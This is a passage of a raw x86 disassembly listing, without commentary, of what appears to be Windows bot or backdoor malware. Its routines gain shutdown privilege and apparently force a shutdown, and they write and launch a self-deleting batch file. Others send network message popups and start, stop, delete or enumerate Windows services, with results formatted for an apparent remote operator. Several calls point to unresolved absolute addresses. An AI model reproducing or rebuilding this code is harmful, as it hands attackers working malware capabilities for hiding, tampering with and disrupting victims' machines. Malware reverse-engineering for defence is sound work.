loc_418333:				; CODE XREF: sub_418294+2Aj
					; sub_418294+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418294	endp


; =============== S U B	R O U T	I N E =======================================



sub_418338	proc near		; CODE XREF: sub_401ACD+16B2p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB594
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41835A	proc near		; CODE XREF: sub_401ACD+2755p
					; ___:0041686Cp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837E
		cmp	dword_4CB724, esi
		jnz	short loc_41837E
		push	esi
		call	sub_401000
		pop	ecx


loc_41837E:				; CODE XREF: sub_41835A+13j
					; sub_41835A+1Bj
		call	sub_40B2C0
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 26B0000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2710776h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DE
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2700000h
		push	edi
		nop
		call	near ptr 2670894h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D808
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26A0000h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2690EB6h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418486
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2690DA3h


loc_418486:				; CODE XREF: sub_41835A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2820000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2670C18h


loc_4184DE:				; CODE XREF: sub_41835A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41835A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E2	proc near		; CODE XREF: sub_401ACD+7233p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E05D0h
		cmp	[ebp+var_84], 2
		jnz	short loc_418578
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5D4
		push	edi
		push	eax
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41856A
		push	[ebp+arg_10]
		push	offset dword_439074


loc_418543:				; CODE XREF: sub_4184E2+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_41856A:				; CODE XREF: sub_4184E2+57j
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_43904C
		jmp	short loc_418543
; ---------------------------------------------------------------------------


loc_418578:				; CODE XREF: sub_4184E2+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43901C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4185A2:				; CODE XREF: sub_4184E2+86j
		pop	edi
		leave
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A5	proc near		; CODE XREF: sub_401ACD+55FFp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26E05D0h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FB
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E4
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E4:				; CODE XREF: sub_4185A5+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F6
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FB


loc_4185F6:				; CODE XREF: sub_4185A5+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FB:				; CODE XREF: sub_4185A5+27j
					; sub_4185A5+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26C0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26C045Ch
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 27A03ABh
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418685	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 26A0871h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276F8
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C2	proc near		; CODE XREF: sub_401ACD:loc_406127p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41871A
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439098[esi]
		push	edi
		push	eax
		call	sub_41873C
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41870A
		push	edi
		push	off_439094[esi]
		push	offset unk_4391A8


loc_4186FA:				; CODE XREF: sub_4186C2+56j
		mov	esi, offset dword_4DB6D0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418737
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C2+2Aj
		push	eax
		call	sub_4187DE
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43917C
		jmp	short loc_4186FA
; ---------------------------------------------------------------------------


loc_41871A:				; CODE XREF: sub_4186C2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6D0
		push	off_439090[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418737:				; CODE XREF: sub_4186C2+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873C	proc near		; CODE XREF: sub_4186C2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB648
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418763
		call	near ptr 26908E1h
		nop
		mov	ebx, eax
		jmp	short loc_4187D8
; ---------------------------------------------------------------------------


loc_418763:				; CODE XREF: sub_41873C+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB530
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418783
		nop
		call	near ptr 26908E1h
		mov	ebx, eax
		jmp	short loc_4187D0
; ---------------------------------------------------------------------------


loc_418783:				; CODE XREF: sub_41873C+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B6
		cmp	eax, 3
		jz	short loc_4187A7
		jle	short loc_4187C9
		cmp	eax, 6
		jg	short loc_4187C9
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB59C
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187A7:				; CODE XREF: sub_41873C+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB538
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187B6:				; CODE XREF: sub_41873C+4Dj
		push	esi
		call	dword_4CB5A0


loc_4187BD:				; CODE XREF: sub_41873C+69j
					; sub_41873C+78j
		test	eax, eax
		jnz	short loc_4187C9
		nop
		call	near ptr 26908E1h
		mov	ebx, eax


loc_4187C9:				; CODE XREF: sub_41873C+54j
					; sub_41873C+59j ...
		push	esi
		call	dword_4CB54C


loc_4187D0:				; CODE XREF: sub_41873C+45j
		push	edi
		call	dword_4CB54C
		pop	esi


loc_4187D8:				; CODE XREF: sub_41873C+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DE	proc near		; CODE XREF: sub_4186C2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418893
		jz	loc_41888C
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418856
		jz	short loc_41884C
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418842
		dec	ecx
		dec	ecx
		jz	short loc_418838
		dec	ecx
		jz	short loc_41882E
		sub	ecx, 51h
		jz	short loc_418824
		sub	ecx, 24h
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418824:				; CODE XREF: sub_4187DE+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41882E:				; CODE XREF: sub_4187DE+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418838:				; CODE XREF: sub_4187DE+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187DE+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_4187DE+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418856:				; CODE XREF: sub_4187DE+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418885
		dec	ecx
		jz	short loc_41887E
		dec	ecx
		jz	short loc_418877
		dec	ecx
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418877:				; CODE XREF: sub_4187DE+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41887E:				; CODE XREF: sub_4187DE+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418885:				; CODE XREF: sub_4187DE+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41888C:				; CODE XREF: sub_4187DE+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418893:				; CODE XREF: sub_4187DE+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F6
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41894A[ecx]
		jmp	off_418922[ecx*4] ; switch jump


loc_4188B7:				; DATA XREF: ___:off_418922o
		push	offset aTheSpecifiedDa ; jumptable 004188B0 case 7
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188BE:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDepe ; jumptable 004188B0 case 17
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188C5:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDe_0 ; jumptable 004188B0 case 10
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188CC:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasB ; jumptable 004188B0 case 0
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188D3:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheSpecified_0 ; jumptable 004188B0 case 2
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188DA:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceCoul ; jumptable 004188B0 case 11
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E1:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHa_0 ; jumptable 004188B0 case 14
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E8:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheRequested_1 ; jumptable 004188B0 case 3
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188EF:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasN ; jumptable 004188B0 case 4
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188F6:				; CODE XREF: sub_4187DE+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FB:				; CODE XREF: sub_4187DE+41j
					; sub_4187DE+4Bj ...
		push	offset dword_4DB010
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891C
; ---------------------------------------------------------------------------


loc_418909:				; CODE XREF: sub_4187DE+36j
					; sub_4187DE+89j ...
		push	eax		; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB010
		call	sub_41B886
		add	esp, 0Ch


loc_41891C:				; CODE XREF: sub_4187DE+129j
		mov	eax, offset dword_4DB010
		retn
sub_4187DE	endp

; ---------------------------------------------------------------------------
off_418922	dd offset loc_4188CC	; DATA XREF: sub_4187DE+D2r
		dd offset loc_4188D3	; jump table for switch	statement
		dd offset loc_4188E8
		dd offset loc_4188EF
		dd offset loc_4188B7
		dd offset loc_4188C5
		dd offset loc_4188DA
		dd offset loc_4188E1
		dd offset loc_4188BE
		dd offset loc_418909
byte_41894A	db	0,     9,     1,     2 ; DATA XREF: sub_4187DE+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895C	proc near		; CODE XREF: sub_401ACD+45D4p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB648
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_418994:				; CODE XREF: sub_41895C+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB614
		test	eax, eax
		jnz	short loc_4189CE
		nop
		call	near ptr 26908E1h
		cmp	eax, 0EAh
		jnz	loc_418A82


loc_4189CE:				; CODE XREF: sub_41895C+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A79
		lea	esi, [ebp+var_188]


loc_4189DF:				; CODE XREF: sub_41895C+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A28
		dec	eax
		jz	short loc_418A21
		dec	eax
		jz	short loc_418A1A
		dec	eax
		jz	short loc_418A13
		dec	eax
		jz	short loc_418A0C
		dec	eax
		jz	short loc_418A05
		dec	eax
		jz	short loc_4189FE
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_41895C+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A05:				; CODE XREF: sub_41895C+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A0C:				; CODE XREF: sub_41895C+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A13:				; CODE XREF: sub_41895C+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A1A:				; CODE XREF: sub_41895C+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: sub_41895C+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A28:				; CODE XREF: sub_41895C+87j
		push	offset aStopped	; "    Stopped"


loc_418A2D:				; CODE XREF: sub_41895C+A0j
					; sub_41895C+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DF


loc_418A79:				; CODE XREF: sub_41895C+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418994


loc_418A82:				; CODE XREF: sub_41895C+6Cj
		push	[ebp+var_C]
		call	dword_4CB54C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A99	proc near		; CODE XREF: sub_401ACD:loc_406167p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B33
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC2
		dec	eax
		jnz	short loc_418B13
		push	edi
		push	0
		call	sub_418C6C
		pop	ecx
		pop	ecx
		jmp	short loc_418B0F
; ---------------------------------------------------------------------------


loc_418AC2:				; CODE XREF: sub_418A99+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B01
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B01
		push	57h
		pop	eax


loc_418AD9:				; CODE XREF: sub_418A99+78j
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439090[eax*4]
		push	offset unk_43973C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B01:				; CODE XREF: sub_418A99+2Dj
					; sub_418A99+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BC0
		add	esp, 0Ch


loc_418B0F:				; CODE XREF: sub_418A99+27j
		test	eax, eax
		jnz	short loc_418AD9


loc_418B13:				; CODE XREF: sub_418A99+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439094[eax*4]
		push	offset dword_439720
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_418A99+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB2CC
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4396FC
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B53:				; CODE XREF: sub_418A99+66j
					; sub_418A99+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A99	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B59	proc near		; CODE XREF: sub_419E7A+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B66
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B66:				; CODE XREF: sub_418B59+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB4CC, 1
		mov	ebp, eax
		jnz	short loc_418BA3
		or	byte_4DB4CC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB26C, eax


loc_418BA3:				; CODE XREF: sub_418B59+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB26C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB26C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BC0	proc near		; CODE XREF: sub_418A99+6Ep
					; sub_41A19E+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2B
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB548
		pop	edi
		leave
		retn
sub_418BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2B	proc near		; CODE XREF: sub_418BC0+Ap
					; sub_418BC0+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C38
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C38:				; CODE XREF: sub_418C2B+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6C	proc near		; CODE XREF: sub_418A99+20p
					; sub_419E7A+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB520
		pop	esi
		retn
sub_418C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8F	proc near		; CODE XREF: sub_401ACD+46B1p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
